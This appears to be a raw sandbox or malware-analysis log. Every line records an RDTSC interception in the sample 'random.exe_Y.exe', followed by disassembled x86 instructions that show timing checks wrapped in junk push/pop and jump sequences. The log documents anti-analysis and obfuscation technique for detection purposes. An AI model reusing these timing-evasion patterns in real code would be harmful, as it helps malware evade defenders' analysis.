Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B905BC second address: 4B905C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B905C2 second address: 4B905C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B905C7 second address: 4B905DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, cl 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c mov eax, 3B1A9631h 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B905DF second address: 4B90661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3458756CB0h 0x00000010 xor ax, D468h 0x00000015 jmp 00007F3458756CABh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F3458756CB8h 0x00000021 sub cx, A6C8h 0x00000026 jmp 00007F3458756CABh 0x0000002b popfd 0x0000002c popad 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F3458756CB5h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B90661 second address: 4B906E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458CA5157h 0x00000009 jmp 00007F3458CA5153h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F3458CA5158h 0x00000015 sbb ecx, 70E33DE8h 0x0000001b jmp 00007F3458CA514Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007F3458CA514Bh 0x0000002d call 00007F3458CA5158h 0x00000032 pop eax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0013 second address: 4BB0019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB022F second address: 4BB0235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0235 second address: 4BB026E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3458756CB9h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB026E second address: 4BB0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB0275 second address: 4BB02B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F3458756CB0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3458756CB7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BB02B7 second address: 4BB02CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5154h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD06A9 second address: 4BD06AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD06AD second address: 4BD06B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD06B3 second address: 4BD06B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD06B9 second address: 4BD072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F3458CA514Ah 0x0000000e push eax 0x0000000f jmp 00007F3458CA514Bh 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F3458CA5156h 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov bl, al 0x0000001f pushfd 0x00000020 jmp 00007F3458CA5153h 0x00000025 xor si, E76Eh 0x0000002a jmp 00007F3458CA5159h 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD072F second address: 4BD0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0733 second address: 4BD0746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0746 second address: 4BD076A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD076A second address: 4BD076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD076E second address: 4BD0772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0772 second address: 4BD0778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0778 second address: 4BD07A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458756CADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07A1 second address: 4BD07CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [774365FCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3458CA514Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07CA second address: 4BD07D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07D0 second address: 4BD07F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5153h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07F1 second address: 4BD07F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07F5 second address: 4BD07F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07F9 second address: 4BD07FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD07FF second address: 4BD083B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458CA5158h 0x00000009 or cl, FFFFFFF8h 0x0000000c jmp 00007F3458CA514Bh 0x00000011 popfd 0x00000012 mov ah, 4Bh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F34CB48827Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD083B second address: 4BD083F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD083F second address: 4BD0845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0845 second address: 4BD085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CB2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD085B second address: 4BD0882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3458CA5150h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0882 second address: 4BD0888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0888 second address: 4BD088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD088E second address: 4BD08E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3458756CABh 0x00000012 xor ax, 5D2Eh 0x00000017 jmp 00007F3458756CB9h 0x0000001c popfd 0x0000001d movzx ecx, di 0x00000020 popad 0x00000021 and ecx, 1Fh 0x00000024 pushad 0x00000025 call 00007F3458756CB9h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD08E8 second address: 4BD0904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov edi, 40CB33A2h 0x0000000a popad 0x0000000b ror eax, cl 0x0000000d pushad 0x0000000e mov cx, bx 0x00000011 popad 0x00000012 leave 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, di 0x00000019 mov bl, 50h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0904 second address: 4BD0912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CAAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0912 second address: 4BD0916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0916 second address: 4BD0962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00102014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F345D267507h 0x00000023 push FFFFFFFEh 0x00000025 jmp 00007F3458756CB7h 0x0000002a pop eax 0x0000002b jmp 00007F3458756CB6h 0x00000030 ret 0x00000031 nop 0x00000032 push eax 0x00000033 call 00007F345D267531h 0x00000038 mov edi, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F3458756CAAh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0962 second address: 4BD0971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0971 second address: 4BD0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD0989 second address: 4BD09EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov eax, 73CBF41Bh 0x00000012 mov bx, si 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 call 00007F3458CA5153h 0x0000001d mov si, D0DFh 0x00000021 pop ecx 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007F3458CA514Eh 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F3458CA5157h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD09EA second address: 4BD09F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD09F0 second address: 4BD09F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4BD09F4 second address: 4BD0A3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3458756CABh 0x00000014 pushfd 0x00000015 jmp 00007F3458756CB8h 0x0000001a sbb al, 00000038h 0x0000001d jmp 00007F3458756CABh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80019 second address: 4B8001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8001D second address: 4B80023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80023 second address: 4B80029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80029 second address: 4B8002D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8002D second address: 4B80031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80031 second address: 4B80082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F3458756CB3h 0x0000000f mov ecx, 22A982CFh 0x00000014 pop ecx 0x00000015 mov dl, FAh 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cl, bh 0x0000001e pushfd 0x0000001f jmp 00007F3458756CB2h 0x00000024 add cx, 3CA8h 0x00000029 jmp 00007F3458756CABh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80082 second address: 4B8009A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5154h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8009A second address: 4B8009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8009E second address: 4B800F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov esi, edi 0x0000000d pushfd 0x0000000e jmp 00007F3458CA5159h 0x00000013 and eax, 6C5E8A26h 0x00000019 jmp 00007F3458CA5151h 0x0000001e popfd 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3458CA514Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B800F0 second address: 4B80100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458756CACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80100 second address: 4B80104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80104 second address: 4B80159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a push ebx 0x0000000b mov esi, 090B6C4Bh 0x00000010 pop eax 0x00000011 popad 0x00000012 mov dword ptr [esp], ecx 0x00000015 jmp 00007F3458756CB7h 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F3458756CB6h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007F3458756CACh 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80159 second address: 4B80183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3458CA5157h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80183 second address: 4B80189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80189 second address: 4B801BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e jmp 00007F3458CA5156h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B801BA second address: 4B801BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B801BE second address: 4B801C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B801C4 second address: 4B801F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3458756CB2h 0x00000009 and eax, 24517D38h 0x0000000f jmp 00007F3458756CABh 0x00000014 popfd 0x00000015 mov ah, 57h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B802D1 second address: 4B802D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B802D6 second address: 4B8031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushfd 0x00000007 jmp 00007F3458756CB9h 0x0000000c or ax, 46C6h 0x00000011 jmp 00007F3458756CB1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8031E second address: 4B80323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80323 second address: 4B80388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3458756CB2h 0x00000008 pushfd 0x00000009 jmp 00007F3458756CB2h 0x0000000e adc cx, C9C8h 0x00000013 jmp 00007F3458756CABh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c je 00007F34CAF84F72h 0x00000022 jmp 00007F3458756CB6h 0x00000027 mov edx, dword ptr [esi+44h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d movsx edi, ax 0x00000030 mov di, cx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80388 second address: 4B80400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F3458CA5156h 0x00000011 test edx, 61000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F3458CA514Dh 0x00000020 sbb esi, 7818E5A6h 0x00000026 jmp 00007F3458CA5151h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F3458CA5150h 0x00000032 adc al, 00000048h 0x00000035 jmp 00007F3458CA514Bh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80400 second address: 4B80406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B80406 second address: 4B8046C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F34CB4D33C0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F3458CA5158h 0x00000017 xor cx, D8D8h 0x0000001c jmp 00007F3458CA514Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F3458CA5158h 0x00000028 sbb cx, A338h 0x0000002d jmp 00007F3458CA514Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B8046C second address: 4B804C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 335Ah 0x00000007 pushfd 0x00000008 jmp 00007F3458756CABh 0x0000000d sub cx, 78FEh 0x00000012 jmp 00007F3458756CB9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test byte ptr [esi+48h], 00000001h 0x0000001f pushad 0x00000020 mov esi, 7151CAE3h 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 jne 00007F34CAF84E98h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3458756CAEh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B708BC second address: 4B708C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B708C2 second address: 4B708C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B708C6 second address: 4B70905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5153h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, EAh 0x00000011 pushfd 0x00000012 jmp 00007F3458CA514Ch 0x00000017 sbb ecx, 655BE308h 0x0000001d jmp 00007F3458CA514Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 4B70905 second address: 4B7090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
